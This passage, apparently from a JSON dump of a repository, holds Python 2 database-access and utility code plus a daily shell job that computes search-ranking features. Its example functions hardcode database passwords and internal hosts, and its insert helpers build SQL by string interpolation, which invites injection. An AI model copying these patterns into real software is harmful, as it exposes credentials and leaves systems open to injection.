['mysql']:\n\t\t\tself._create_mysql_tbl(sql)\n\n\t\tif self.conn_str[0] in ['hive']:\n\t\t\tself._create_hive_tbl(sql)\n\t\t\t\t\n\n\tdef _create_hive_tbl(self,sql):\n\t\tself.execute(sql)\n\n\n\tdef _create_mysql_tbl(self,sql):\n\t\tself.execute(sql)\n\n\n\tdef drop_table(self,sql):\n\t\t'''\n\t\t\t按照SQLdrop一个表\n\t\t'''\n\t\tif self.conn_str[0] in ['mysql']:\n\t\t\tself._drop_mysql_tbl(sql)\n\t\tif self.conn_str[0] in ['hive']:\n\t\t\tself._drop_hive_tbl(sql)\n\n\n\tdef _drop_hive_tbl(self,sql):\n\t\tself.execute(sql)\n\n\n\tdef _drop_mysql_tbl(self,sql):\n\t\tself.execute(sql)\n\n\n\tdef load_to_txt(self,sql,filepath,append=False, use_filter=True):\n\t\t'''\n\t\t\t把数据源中的数据按照SQL放入指定路径的文件中\n\t\t\tappend: 写入文件时是否使用追加的方式，True表示使用追加\n\t\t\tuse_filter: 是否过滤数据，True表示使用内部函数data_filter过滤数据，\n\t\t\t\t\t\t此选项将对性能造成较大影响\n\t\t'''\n\t\tif self.conn_str[0] in ['mysql','mssql','oracle']:\n\t\t\tself._db_to_file(sql,filepath,append, use_filter)\n\t\t\treturn self.rowcount \n\n\t\tif self.conn_str[0] in ['hive']:\n\t\t\tself._hive_to_file(sql,filepath,append, use_filter)\n\t\t\treturn self.rowcount\n\n\n\tdef _hive_to_file(self,sql,filepath,append, use_filter):\n\t\tfile = None\n\t\tif append == False:\n\t\t\tfile = open(filepath,'w')\n\t\telse:\n\t\t\tfile = open(filepath,'a')\n\t\tself.execute(sql)\n\t\tline = ''\n\t\twhile (1):\n\t\t\trows = self.fetchmany(1000)\n\t\t\tif len(rows) == 0:\n\t\t\t\tbreak\n\t\t\tfor row in rows:\n\t\t\t\tfields = []\n\t\t\t\tfor item in row:\n\t\t\t\t\t#过滤字段中的特殊字符\n\t\t\t\t\tif use_filter:\n\t\t\t\t\t fields.append(self.data_filter(item))\n\t\t\t\t\t#不过滤\n\t\t\t\t\telse:\n\t\t\t\t\t fields.append(item)\n\t\t\t\tline = '\\t'.join(fields) + '\\n'\n\t\t\t\tfile.write(line)\n\t\t\t\tfile.flush()\n\t\t# ed while\n\t\tfile.close()\n\n\n\tdef _db_to_file(self,sql,filepath,append, use_filter):\n\t\tfile = None\n\t\tif append == False:\n\t\t\tfile = open(filepath,'w')\n\t\telse:\n\t\t\tfile = open(filepath,'a')\n\t\tself.execute(sql)\n\t\twhile(True):\n\t\t\trows = self.fetchmany(1000)\n\t\t\tif len(rows) <= 0:\n\t\t\t\tbreak\n\t\t\tfor row in rows:\n\t\t\t\tfields = []\n\t\t\t\tfor item in row:\n\t\t\t\t\t#数据清洗\n\t\t\t\t\tif use_filter:\n\t\t\t\t\t\tfields.append(self.data_filter(item))\n\t\t\t\t\t#不清洗\n\t\t\t\t\telse:\n\t\t\t\t\t\tfields.append(self.to_str(item))\n\t\t\t\tline = '\\t'.join(fields) + '\\n'\t\n\t\t\t\tfile.write(line)\n\t\t\t\tfile.flush()\n\t\t#END WHILE\n\t\tfile.close()\n\n\n\tdef check_query(self,sql,params):\n\t\t'''\n\t\t\t[duplicate function]\n\t\t\t检查SQL是否符合规范, 不要直接调用\n\t\t'''\n\t\tif len(params) != 0:\n\t\t\ttry:\n\t\t\t\tfor key in params:\n\t\t\t\t\tif params.get(key) == None:\n\t\t\t\t\t\traise AttributeError, 'AttributeError:key(%s) in params has no Value' % (key)\n\t\t\t\t\tif sql.find(('%s' % key)) == -1:\n\t\t\t\t\t\traise AttributeError, 'AttributeError:key(%s) in params is not in [SQL]:%s' % (key,sql)\n\t\t\t\t\tvar = '%s' % key\n\t\t\t\t\tval = \"%s\" % params.get(key)\n\t\t\t\t\tsql = sql.replace(var,val)\n\t\t\texcept AttributeError, ex:\n\t\t\t\tsys.stderr.write('%s\\n' % ex)\n\t\t\t\traise SystemError, ex\n\t\treturn sql\n\n\n\tdef Check_query(sql,params):\n\t\t'''\n\t\t\tcheck_query的静态版本\n\t\t'''\n\t\tif len(params) != 0:\n\t\t\ttry:\n\t\t\t\tfor key in params:\n\t\t\t\t\tif params.get(key) == None:\n\t\t\t\t\t\traise AttributeError, 'AttributeError:key(%s) in params has no Value' % (key)\n\t\t\t\t\tif sql.find(('%s' % key)) == -1:\n\t\t\t\t\t\traise AttributeError, 'AttributeError:key(%s) in params is not in [SQL]:%s' % (key,sql)\n\t\t\t\t\tvar = '%s' % key\n\t\t\t\t\tval = \"%s\" % params.get(key)\n\t\t\t\t\tsql = sql.replace(var,val)\n\t\t\texcept AttributeError, ex:\n\t\t\t\tsys.stderr.write('%s\\n' % ex)\n\t\t\t\traise SystemError, ex\n\t\treturn sql\n\tCheck_query = staticmethod(Check_query)\n\n\n\tdef load_from_txt(self,filepath,tblname,replace=False,fields_trnr='\\t'):\n\t\t'''\n\t\t\tload_to_txt的配对函数，用于把文件中的数据load进新数据源\n\t\t\t要求目标数据的schema已经存在\n\t\t\t目前只支持 all ---> mysql 与 all ---> hive方式\n\t\t\ttblname: 目标表名或是库.表 名\n\t\t\treplace: load数据时，遇见相同的行是否用新行替换，True表示替换\n\t\t\tfields_trnr: load时，数据文件字段分割符\n\t\t'''\n\t\tif self.conn_str[0] in ['mysql']:\n\t\t\treturn self._load_to_mysql(filepath,tblname,replace,fields_trnr)\n\t\tif self.conn_str[0] in ['mssql']:\n\t\t\tsys.stderr.write('SQL Server Load Program is not ready yet\\n')\n\t\tif self.conn_str[0] in ['hive']:\n\t\t\treturn self._load_to_hive(filepath,tblname)\n\n\n\tdef _load_to_mysql(self,filepath,tblname,replace,fields_trnr):\n\t\t\tpredo = 'SET max_error_count = 0; '\n\t\t\tif replace == True:\n\t\t\t\tsql = \"LOAD DATA LOCAL INFILE '%s' REPLACE INTO TABLE %s CHARACTER SET UTF8 FIELDS TERMINATED BY \" \\\n\t\t\t\t\t \"'%s' ENCLOSED BY '%s'; \" % (filepath, tblname, fields_trnr, '\\\"')\n\t\t\telse:\n\t\t\t\tsql = \"LOAD DATA LOCAL INFILE '%s' IGNORE INTO TABLE %s CHARACTER SET UTF8 FIELDS TERMINATED BY \" \\\n\t\t\t\t\t \"'%s' ENCLOSED BY '%s'; \" % (filepath, tblname, fields_trnr, '\\\"') \n\t\t\ttry:\n\t\t\t\tself.execute(predo)\n\t\t\texcept Error, ex:\n\t\t\t\traise SystemError, '(MySQL LOAD DATA ERROR)%s' % ex\n\n\t\t\ttry:\n\t\t\t\tself.execute(sql)\n\t\t\t\tself.commit()\n\t\t\texcept Error, ex:\n\t\t\t\traise SystemError, '(MySQL LOAD DATA ERROR)%s' % ex\n\n\n\tdef _load_to_hive(self,filepath,tblname):\n\t\t\tsql = 'LOAD DATA LOCAL INPATH ' + \"'\" + filepath + \"'\" + ' INTO TABLE ' + tblname\n\t\t\ttry:\n\t\t\t\tself.execute(sql)\n\t\t\texcept Thrift.TException, ex:\n\t\t\t\traise SystemError, '(HIVE LOAD DATA ERROR)%s' % ex\n \n\n\tdef _load_to_oracle(self,filepath,tblname):\n\t\tpass\n\n\n\tdef Insert_as_select(src,dest,sql,tblname,replace = False, use_filter = True):\n\t\t'''\n\t\t\t此函数先对数据源src（hive, mysql, oracle, sqlserver）上执行一个查询\n\t\t\t然后在dest（仅限mysql）上根据查询的结果集迭代的执行insert\n\t\t\t这一对儿动作是一个原子操作\n\t\t\t目前支持 all ---> mysql 方式\n\t\t\tsrc: 源连接 DataObject对象\n\t\t\tdest: 目标连接 DataObject对象\n\t\t\treplace, use_filter同load_from_txt()\n\t\t'''\n\t\tif dest.conn_str[0] in ['mysql']:\n\t\t\tcursor = dest.conn.cursor()\n\t\t\tcursor.execute('set autocommit = 1')\n\t\t\tcursor.execute('set max_error_count = 0')\n\t\t\tcursor.close()\n\t\t\n\t\tsrc.execute(sql)\n\t\twhile (1):\n\t\t\t#按源数据库的类型拿到要插入的数据集\n\t\t\trows = src.fetchmany(1000)\n\t\t\tif len(rows) <= 0:\n\t\t\t\tbreak\n\t\t\tdataset = []\n\t\t\tfor row in rows:\n\t\t\t\tinner_lst = []\n\t\t\t\tfor item in row:\n\t\t\t\t\t#数据清洗\n\t\t\t\t\tif use_filter:\n\t\t\t\t\t\titem = src.data_filter(item)\n\t\t\t\t\t#不清洗\n\t\t\t\t\telse:\n\t\t\t\t\t\titem = src.to_str(item)\n\t\t\t\t\tinner_lst.append(item)\n\t\t\t\tdataset.append(inner_lst)\n\t\t\t#数据合并，按目标数据库类型的不同执行不同的合并函数\n\t\t\ttry:\n\t\t\t\tif dest.conn_str[0] in ['mysql']:\n\t\t\t\t\tDataObject._Insert_to_mysql_select(dest,dataset,tblname,replace)\n\t\t\t\tif dest.conn_str[0] in ['hive']:\n\t\t\t\t\traise ValueError, \"ValueError:Hive does not support 'Insert' Mutipulation\"\n\t\t\t\tif dest.conn_str[0] in ['Oracle']:\n\t\t\t\t\traise SystemError, \"Exit Request:Oracle does not yet supported\"\n\t\t\texcept (ValueError,SystemError), ex:\n\t\t\t\tsys.stderr.write('%s\\n' % (ex))\n\t\t\t\traise SystemError, ex\n\t\treturn dest.rowcount\n\tInsert_as_select = staticmethod(Insert_as_select)\n\n\n\tdef _Insert_to_mysql_select(dest,dataset,tblname,replace):\n\t\tif replace == True:\n\t\t\tfor row in dataset:\n\t\t\t\tcursor = dest.conn.cursor()\n\t\t\t\tsql = \"REPLACE INTO %s VALUES (\" % (tblname)\n\t\t\t\tfor item in row:\n\t\t\t\t\tif item in [\"''\",'\"\"']:\n\t\t\t\t\t\tsql += \"'',\"\n\t\t\t\t\telse:\n\t\t\t\t\t\tsql += \"'%s',\" % (item)\n\t\t\t\tsql = sql[:-1] + ');'\n\t\t\t\tcursor.execute(sql)\n\t\t\t\tdest.rowcount += 1\n\t\t\t\tcursor.close()\n\t\telse:\n\t\t\tfor row in dataset:\n\t\t\t\tcursor = dest.conn.cursor()\n\t\t\t\tsql = \"INSERT IGNORE INTO %s VALUES (\" % (tblname)\n\t\t\t\tfor item in row:\n\t\t\t\t\tif item in [\"''\",'\"\"']:\n\t\t\t\t\t\tsql += \"'',\"\n\t\t\t\t\telse:\n\t\t\t\t\t\tsql += \"'%s',\" % (item)\n\t\t\t\tsql = sql[:-1] + ');'\n\t\t\t\tcursor.execute(sql)\n\t\t\t\tdest.rowcount += 1\n\t\t\t\tcursor.close()\n\t_Insert_to_mysql_select = staticmethod(_Insert_to_mysql_select)\n\n\n\tdef _Insert_to_oracle_select(dest,dataset,tblname):\n\t\tpass\n\t_Insert_to_oracle_select = staticmethod(_Insert_to_oracle_select)\n\n\n\tdef fetchmany(self,count):\n\t\t'''\n\t\t\t没什么，就是fetchmany\n\t\t\tcount为一次迭代取的行数\n\t\t'''\n\t\tif not self.cursor:\n\t\t\traise NameError, 'self.cursor is not defined!\\n'\n\t\tresult = []\n\t\tif self.conn_str[0] == 'mssql':\n\t\t\tresult = self.cursor.fetchmany(count)\n\t\t\tself.rowcount = self.cursor.rowcount\n\n\t\tif self.conn_str[0] == 'mysql':\n\t\t\tresult = self.cursor.fetchmany(count)\n\t\t\tself.rowcount += len(result)\n\n\t\tif self.conn_str[0] == 'oracle':\n\t\t\tresult = self.cursor.fetchmany(count)\n\t\t\tself.rowcount = self.cursor.rowcount\n\n\t\tif self.conn_str[0] == 'hive':\n\t\t\ttry:\n\t\t\t\trows = self.cursor.fetchN(count)\n\t\t\t\tif len(rows) <= 0:\n\t\t\t\t\treturn result\n\t\t\t\tfor row in rows:\n\t\t\t\t\tlist = row.split('\\t')\n\t\t\t\t\tresult.append(list)\n\t\t\t\tself.rowcount += len(rows)\n\t\t\texcept Thrift.TException, tx:\n\t\t\t\tself.close()\n\t\t\t\tsys.stderr.write('%s\\n' % (tx))\n\t\t\t\traise SystemError, tx\n\t\treturn result\n\n\n\tdef fetchone(self):\n\t\t'''\n\t\t\t没什么，就是fetchone\n\t\t'''\n\t\tif not self.cursor:\n\t\t\traise NameError, 'self.cursor is not defined!'\n\t\tresult = []\n\t\tif self.conn_str[0] == 'mssql':\n\t\t\tresult = self.cursor.fetchone()\n\t\t\tself.rowcount = self.cursor.rowcount\n\n\t\tif self.conn_str[0] == 'mysql':\n\t\t\tresult = self.cursor.fetchone()\n\t\t\tself.rowcount += 1\n\n\t\tif self.conn_str[0] == 'oracle':\n\t\t\tresult = self.cursor.fetchone()\n\t\t\tself.rowcount = self.cursor.rowcount\n\n\t\tif self.conn_str[0] == 'hive':\n\t\t\ttry:\n\t\t\t\trow = self.cursor.fetchOne()\n\t\t\t\tif len(row) <= 0:\n\t\t\t\t\treturn result\n\t\t\t\tresult = row.split('\\t')\n\t\t\t\tself.rowcount += 1\n\t\t\texcept Thrift.TException, tx:\n\t\t\t\tself.close()\n\t\t\t\tsys.stderr.write('%s\\n' % (tx))\n\t\t\t\traise SystemError, tx\n\t\treturn result\n\n\n\tdef fetchall(self):\n\t\t'''\n\t\t\t没什么，就是fetchall\n\t\t'''\n\t\tif not self.cursor:\n\t\t\traise NameError, 'self.cursor is not defined!'\n\t\tresult = []\n\t\tif self.conn_str[0] == 'mssql':\n\t\t\tresult = self.cursor.fetchall()\n\t\t\tself.rowcount = self.cursor.rowcount\n\t\t\n\t\tif self.conn_str[0] == 'mysql':\n\t\t\tresult = self.cursor.fetchall()\n\t\t\tself.rowcount = len(result)\n\n\t\tif self.conn_str[0] == 'oracle':\n\t\t\tresult = self.cursor.fetchall()\n\t\t\tself.rowcount = self.cursor.rowcount\n\n\t\tif self.conn_str[0] == 'hive':\n\t\t\ttry:\n\t\t\t\trows = self.cursor.fetchAll()\n\t\t\t\tif len(rows) <= 0:\n\t\t\t\t\treturn result\n\t\t\t\tfor row in rows:\n\t\t\t\t\tlist = row.split('\\t')\n\t\t\t\t\tresult.append(list)\n\t\t\t\tself.rowcount = len(rows)\n\t\t\texcept Thrift.TException, tx:\n\t\t\t\tself.close()\n\t\t\t\tsys.stderr.write('%s\\n' % (tx))\n\t\t\t\traise SystemError, tx\n\t\treturn result\n\n\n\tdef rows_affected(self):\n\t\t'''\n\t\t\t返回影响行数（整数）\n\t\t'''\n\t\treturn self.rowcount\n\n\n\tdef to_str(self,field):\n\t\tif field in ['',\"''\",None]:\n\t\t\tfield = '\"\"'\n\t\tif self.conn_str[0] in ['mysql','mssql']:\n\t\t\tfield = unicode(field)\n\t\tif self.conn_str[0] == 'oracle':\n\t\t\tfield = str(field)\n\t\tif self.conn_str[0] == 'hive':\n\t\t\tpass\n\t\treturn field\n\n\n\tdef data_filter(self,field):\n\t\t'''\n\t\t\t数据清洗，不要直接调用\n\t\t'''\n\t\tif field in [None,'','\"',\"'\",\"''\"]:\n\t\t\tfield = '\"\"'\n\t\telse:\n\t\t\t#从db拿到的数据有各种类型，要统一转成字符串\n\t\t\tif self.conn_str[0] in ['mysql','mssql']:\n\t\t\t\tfield = unicode(field)\n\t\t\tif self.conn_str[0] in ['oracle']:\n\t\t\t\tfield = str(field)\n\t\t\t#从hive拿到的数据本身是字符串，不用转\n\t\t\tif self.conn_str[0] == 'hive':\n\t\t\t\tpass\n\t\t\t#不将双引号本身转义\n\t\t\tif len(field) >= 3:\n\t\t\t\tfield = field.replace('\"','')\n\t\t\t\tfield = field.replace(\"'\",'')\n\n\t\t\t#控制字符过滤\n\t\t\t#ctrl + A/a --- ctrl + Z/z\n\t\t\tfield = re.sub(r'\\x01|\\x02|\\x03|\\x08|\\x09|\\x0A|\\x0B|\\x0C|\\x0D|\\x1B|\\x1C|\\x1D|\\x1E|\\x1F|\\\\', \n\t\t\t\t\t\t\t'', field)\n\t\treturn field\n\n\n\tdef close(self):\n\t\t'''\n\t\t\t关闭DataObject连接\n\t\t'''\n\t\tif self.conn:\n\t\t\tself.close_cursor()\n\t\t\tself.conn.close()\n\t\tself.rowcount = 0\n\t\tself.conn = None\n \n\n\tdef disconnect(self):\n\t\t'''\n\t\t\tclose的向下兼容版本\n\t\t'''\n\t\tself.close()\n\n\n\tdef __del__(self):\n\t\t'''\n\t\t\t析构函数, 回收连接相关资源\n\t\t'''\n\t\tself.close()\n\n\n\ndef hive_exmp():\n\t'''\n\t\t我们的21集群没权限系统，所以无用户名和密码形参\n\t'''\n\tconn = DataObject.Connect(dbtype='hive', host='localhost', port=10010)\n\tconn.execute('use addr')\n\tconn.execute('select * from user_addr_in_order limit 2')\n\tfor row in conn.fetchall():\n\t\tprint '\\t'.join(map(str, row))\n\tconn.close()\n\n\ndef mysql_exmp():\n\t'''\n\t\tdbtype, host, user, password, port是必填项\n\t'''\n\tconn = DataObject.Connect(dbtype='mysql', host='10.255.253.16', user='readuser', password='ru@r&d', \\\n\t\t\t\t\t\t\t port=3306, database='AntiFraud', charset='utf8')\n\tconn.execute('show tables')\n\tfor row in conn.fetchall():\n\t\tprint '\\t'.join(map(str, row))\n\tconn.close()\n\n\ndef oracle_exmp():\n\t'''\n\t\t要求使用dsn去连接oracle\n\t\tdbtype, dsn, user, password是必填项\n\t'''\n\tconn = DataObject.Connect(dbtype='oracle', dsn='reportstaging.idc2:1521/staging1', user='v_stage', \\\n\t\t\t\t\t\t\t password='v_stage') \n\tconn.execute('select table_name from user_tables')\n\tfor row in conn.fetchall():\n\t\tprint '\\t'.join(map(str, row))\n\tconn.close()\n\n\ndef sqlserver_exmp():\n\t'''\n\t\tdbtype, host, user, password, port是必填项\n\t'''\n\tconn = DataObject.Connect(dbtype='mssql', host='172.16.128.86', user='readuser', password='password', port=1433, \\\n\t\t\t\t\t\t\t database='customer', charset='utf8')\n\tconn.execute('select top(2) * from customers')\n\tfor row in conn.fetchall():\n\t\tprint '\\t'.join(map(str, row))\n\tconn.close()\n\n\ndef main():\n\tprint '由于连接或端口限制，以下所有例子，只保证在21上执行成功'\n\tprint '************ hive example **************'\n\thive_exmp()\n\tprint '************ mysql example *************'\n\tmysql_exmp()\n\tprint '************ oracle example ************'\n\toracle_exmp()\n\tprint '************ sqlserver example *********'\n\tsqlserver_exmp()\n\tprint '***************** end ******************'\n\n\nif __name__ == '__main__':\n\tmain()\n"},{"alpha_fraction":0.6483445763587952,"alphanum_fraction":0.6518804430961609,"avg_line_length":20.163265228271484,"blob_id":"4c57f45a29ab1cd00d7b32ca991e7d9434ef7bbf","content_id":"d9180a69f5c57ccd6598766ec9dd16ec6828865a","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":3259,"license_type":"no_license","max_line_length":110,"num_lines":147,"path":"/lib/base_lib.py","repo_name":"magicbupt/ltr_feartures_compute_job","src_encoding":"UTF-8","text":"#!/usr/bin/env python\n#encoding:utf-8\n\n##Author:maorui\n##Date :2012-08-30\n##File :base_lib.py\n##comment:基础类库用于封装一些简单的功能\n##\t\t\n\t\t\nimport sys\nimport os\nfrom ConfigParser import RawConfigParser\nfrom ConfigParser import *\nfrom getopt import getopt\nimport logging\nimport logging.config\nimport time\nimport datetime\nimport socket\t\t\t\t\nimport struct\n\nfrom data_access_object import DataObject\nfrom db_factory import DBFactory\nfrom Joblog import Joblog\nfrom mail_sender import MailSender\n\ndef get_path():\n\t\n\t\"\"\"\n\tget opt parameter\n\t\"\"\"\n\tpath =''\n\ttry:\n\t\topts, val = getopt(sys.argv[1:], 'c:', ['path='])\n\t\tconf_path = ''\n\t\tfor opt, var in opts:\n\t\t\tif opt in ['-c']:\n\t\t\t\tconf_path = var\n\t\t\tif opt in ['--path']:\n\t\t\t\tconf_path = var\n\t\tif not os.path.exists(conf_path):\n\t\t\traise Exception,'the path is not existence'\n\texcept Exception,ex:\n\t\traise Exception,ex\n\n\treturn conf_path \n\n\n\nclass BaseLib(object):\n\n\tdef __init__(self,conf_path):\n\t \n\t\t'''\n\t\t初始化配置文件和日志文件\n\t\t'''\n\t\tself.connfile = '%s/conf/connect.cfg' % (conf_path)\n\t\tself.sqlfile = '%s/conf/sql.cfg' % (conf_path)\n\t\t\n\t\tself.config = RawConfigParser()\n\t\tself.config.read(self.connfile)\n\t\tself.sqlsets = RawConfigParser()\n\t\tself.sqlsets.read(self.sqlfile)\n\t\n\tdef connect_db(self,section = ''):\n\t\t\"\"\"\n\t\t主要用于连接数据库，并返回连接对象\n\t\t\"\"\"\n\t\tsection = section.strip(' ')\n\t\ttry:\n\t\t\tdbtype = self.config.get(section,'dbtype')\n\t\t\thost = self.config.get(section,'host')\n\t\t\tuser = self.config.get(section,'user')\n\t\t\tpassword = self.config.get(section,'password')\n\t\t\tport = self.config.get(section,'port')\n\t\t\tdatabase = self.config.get(section,'database')\n\t\texcept: \n\t\t\traise Exception, 'get %s date error' % (section)\n\t\ttry:\n\t\t\tsql_conn = DBFactory.Connect(dbtype = dbtype,host = host,database = database,charset = 'utf8',user = user,\\\n\t\t\t\t\t\t\t password = password,port = port)\n\t\t\tsql_conn.get_cursor()\n\t\texcept:\n\t\t\traise Exception, 'connect databse under %s error' % (section)\n\t\treturn sql_conn\n\t\n\tdef get_sql(self,section = '',option = ''):\n\t\t'''\n\t\t获取配置文件中的sql语句\n\t\t'''\n\t\tsql = ''\n\t\tsection = section.strip(' ')\n\t\toption = option.strip('')\n\t\ttry:\n\t\t\tsql = self.sqlsets.get(section, option)\n\t\texcept: \n\t\t\traise Exception, 'get sql under %s %s error' % (section,option)\n\t\treturn sql\n\n\tdef get_monitor(self,title = ''):\n\t\t\"\"\"\n\t\tget monitor object\n\t\t\"\"\"\n\t\tjoblog = None\n\t\ttitle = title.strip(' ')\n\n\t\ttry: \n\t\t\thost = self.config.get(title, 'host')\n\t\t\tuid\t= self.config.get(title, 'user')\n\t\t\tpwd\t= self.config.get(title, 'password')\n\t\t\tdb\t = self.config.get(title, 'database')\n\t\t\tjoblog = Joblog(host, uid, pwd, db)\n\t\t\t\n\t\texcept Exception, ex: \n\t\t\treturn \n\n\t\treturn joblog\n\n\tdef send_mail(self,title, content):\n\t\t'''\n\t\t出现异常是发送邮件报告\n\t\t'''\n\t\t#初始化邮件发送对象\n\n\t\temail = MailSender()\n\t\ttry:\n\t\t\temail_to = self.config.get('email','receiver')\n\t\t\temail_receivers = email_to.split(';')\n\t\t\temail.sendMail(email_receivers,title, str(content))\n\t\texcept Exception, ex: \n\t\t\treturn \n\n\n\n\ndef test():\n\tpath = get_path()\n\tprint path\n\n\tobj = BaseLib(path)\n\t\n\tsql_conn = obj.connect_db('connect_mysql')\n\tsql = obj.get_sql('SELECT','get_region_list')\n\tsql_conn.execute(sql)\n\nif __name__ == '__main__':\n\ttest()\n"},{"alpha_fraction":0.6517386436462402,"alphanum_fraction":0.692307710647583,"avg_line_length":22.14634132385254,"blob_id":"3af4098962779133eb61e0afe57031df26ce56d3","content_id":"d260fa815785a8ae7b4659de5ace020f40ea199c","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Shell","length_bytes":1898,"license_type":"no_license","max_line_length":105,"num_lines":82,"path":"/bin/everyday_job.sh","repo_name":"magicbupt/ltr_feartures_compute_job","src_encoding":"UTF-8","text":"#!/bin/sh\nPYTHON=/usr/local/bin/python\n\nwork_path=\"/d2/caiting/search_ranking/ltr_feartures_compute_job\"\n\ndata_url=\"http://192.168.197.151:9030/joblog/data/\" \nclick_url=\"http://192.168.197.151:9030/joblog/click/detail/\"\nuv_url=\"http://192.168.197.176:9030/joblog/data/\"\n\nsearch_lastday=$(date -d yesterday +%Y%m%d)\nuv_lastday=$(date -d yesterday +%Y-%m-%d)\n\nsearch_log=log\\-$search_lastday\\_search.clean.tar.bz2\nclick_log=search\\-${search_lastday:2:8}\nday_uv_log=uv_d_$uv_lastday\nweek_uv_log=uv_w_$uv_lastday\nmonth_uv_log=uv_m_$uv_lastday\n\necho $search_lastday\n\n# load search log data from url \necho \"load show, click and uv data from url ...\"\nif [ $? -eq 0 ];then\n\tcd $work_path/data/temp_data\n\twget $data_url$search_log\n\twget $click_url$click_log\n\twget $uv_url$day_uv_log\n\twget $uv_url$week_uv_log\n\twget $uv_url$month_uv_log\n\ttar -jxvf $search_log && rm -f *.tar.*\nelse\n\texit -1\nfi\n\n\n#get each feature from mysql\necho \"load product info from db and init search_log data ...\"\nif [ $? -eq 0 ];then\n\tcd $work_path/bin\n\t$PYTHON main.py \nelse\n\texit -2\nfi \n\n# caculate ctr for each pid\necho \"caculate ctr ...\"\nif [ $? -eq 0 ];then\n\tcd $work_path/bin\n\t$PYTHON caculate_features_for_model.py $search_lastday\nelse\n\texit -3\nfi\n\n# change data to static_hashmap and then send to online search_engine\necho \"change pid_ctr file to statichashmap and scp to search server...\"\nif [ $? -eq 0 ];then\n\t./map2hashmap\n\tscp ../data/pid2rankvalue search@192.168.85.131:/home/search/caiting/search_test/modules/search_ranking/\nelse\n\texit -4\nfi\n \n\n# clear the search_log data\necho \"clean temp_data/* ...\"\nif [ $? -eq 0 ];then\n\t#cd $work_path/data && rm -f product_info_$uv_lastday \n\tcd $work_path/data/temp_data/ && rm -f *\nelse\n\texit -5\nfi\n\n#save data for thrift server\necho \"thrift data saving ...\"\nif [ $? -eq 0 ];then\n\tcd $work_path/bin\n\t$PYTHON set_thrift_server_data.py $search_lastday\nelse\n\texit -6\nfi\n\necho \"ok !\"\n"}],"string":"[\n {\n \"alpha_fraction\": 0.6293714046478271,\n \"alphanum_fraction\": 0.6432049870491028,\n \"avg_line_length\": 26.542682647705078,\n \"blob_id\": \"8a8e66ed0e6cb503817860b5c62c7b9c44791308\",\n \"content_id\": \"d87bdeb465c81164e26e4af709c66f774e88ec17\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 9036,\n \"license_type\": \"no_license\",\n \"max_line_length\": 110,\n \"num_lines\": 328,\n \"path\": \"/bin/get_product_info.py\",\n \"repo_name\": \"magicbupt/ltr_feartures_compute_job\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"#!/usr/bin/env python\\n#encoding:utf-8\\n\\nimport sys\\nreload(sys)\\nsys.setdefaultencoding('utf-8')\\n\\nimport os\\nimport re\\nimport time, datetime\\nimport math\\nfrom ConfigParser import RawConfigParser\\nfrom ConfigParser import *\\n\\nsys.path.append('../lib')\\nimport logging\\nimport logging.config\\nfrom mail_sender import MailSender\\nfrom data_access_object import DataObject\\nfrom db_factory import DBFactory\\n\\n\\nclass ProductInfo(object):\\n\\tdef __init__(self, conf_path = '..'):\\n\\t\\t'''\\n\\t\\tinit\\n\\t\\t'''\\n\\t\\t#db redis config file position\\n\\t\\tself.conncfg = '%s/conf/connect.cfg' % (conf_path)\\n\\t\\t#log config file\\n\\t\\tself.logcfg = '%s/conf/logger.conf' % (conf_path)\\n\\t\\tlogging.config.fileConfig(self.logcfg)\\n\\t\\tself.logger = logging.getLogger('log')\\n\\t\\t#other config such as email recivers\\n\\t\\tself.filecfg = '%s/conf/main.cfg' % (conf_path)\\n\\t\\tself.fileconfig = RawConfigParser()\\n\\t\\tself.fileconfig.read(self.filecfg)\\n\\t\\t#sql config file\\n\\t\\tself.sqlcfg = '%s/conf/sql.cfg' % (conf_path)\\n\\t\\tself.config = RawConfigParser()\\n\\t\\tself.config.read(self.conncfg)\\n\\t\\tself.sqlfig = RawConfigParser()\\n\\t\\tself.sqlfig.read(self.sqlcfg)\\n\\t\\t#connect db redis\\n\\t\\tself.conn_search_db = self.connDbserver('search_v3_view')\\n#\\t\\tself.conn_redis = self.connRedis()\\n\\t\\tself.sql = self.sqlfig.get('select', 'select_product_info')\\n\\t\\t# config email info\\n\\t\\tself.mail_recivers = self.setMailReceiver('email', 'receiver')\\n\\t\\tself.mail_sender = MailSender()\\n\\t\\t#product info\\n\\t\\tself.pid_info = {}\\n\\t\\tself.pid_day_uv = {}\\n\\t\\tself.pid_week_uv = {}\\n\\t\\tself.pid_month_uv = {}\\n\\n\\n\\tdef readUV(self, filepath, dt):\\n\\t\\tfile = None\\n\\t\\ttry:\\n\\t\\t\\tfile = open(filepath, 'r')\\n\\t\\t\\twhile True:\\n\\t\\t\\t\\tline = file.readline()\\n\\t\\t\\t\\tif not line:\\n\\t\\t\\t\\t\\tbreak\\n\\t\\t\\t\\tarray = line.strip().split()\\n\\t\\t\\t\\tif len(array) != 2:\\n\\t\\t\\t\\t\\tcontinue\\n\\t\\t\\t\\tpid = str2int(array[0])\\n\\t\\t\\t\\tuv = str2int(array[1])\\n\\t\\t\\t\\tdt[pid] = uv\\n\\t\\texcept Exception,ex:\\n\\t\\t\\tprint ex\\n\\t\\tfinally:\\n\\t\\t\\tif file:\\n\\t\\t\\t\\tfile.close()\\n\\n\\tdef getUV(self, pid, dt):\\n\\t\\tif pid in dt:\\n\\t\\t\\treturn dt[pid]\\n\\t\\treturn 0\\n\\t\\t\\n\\tdef setMailReceiver(self,section = 'email', part = 'receiver'):\\n\\t\\temail_list = self.fileconfig.get(section,part).split(',')\\n\\t\\tmail_receiver = []\\n\\t\\tlenght = len(email_list)\\n\\t\\tfor i in range(lenght):\\n\\t\\t\\temail = email_list[i].strip(' ')\\n\\t\\t\\tif email == '':\\n\\t\\t\\t\\tcontinue\\n\\t\\t\\tmail_receiver.append(email)\\n\\t\\treturn mail_receiver\\n\\n\\tdef connDbserver(self, section = 'antifraud_conn'):\\n\\t\\tdbserver = None\\n\\t\\ttry:\\n\\t\\t\\tdbtype = self.config.get(section, 'dbtype')\\n\\t\\t\\thost = self.config.get(section, 'host')\\n\\t\\t\\tport = self.config.get(section, 'port')\\n\\t\\t\\tuser = self.config.get(section, 'user')\\n\\t\\t\\tpassword = self.config.get(section, 'password')\\n\\t\\t\\tdatabase = self.config.get(section, 'database')\\n\\t\\t\\tdbserver = DBFactory.Connect(dbtype = dbtype, host = host, database = database, 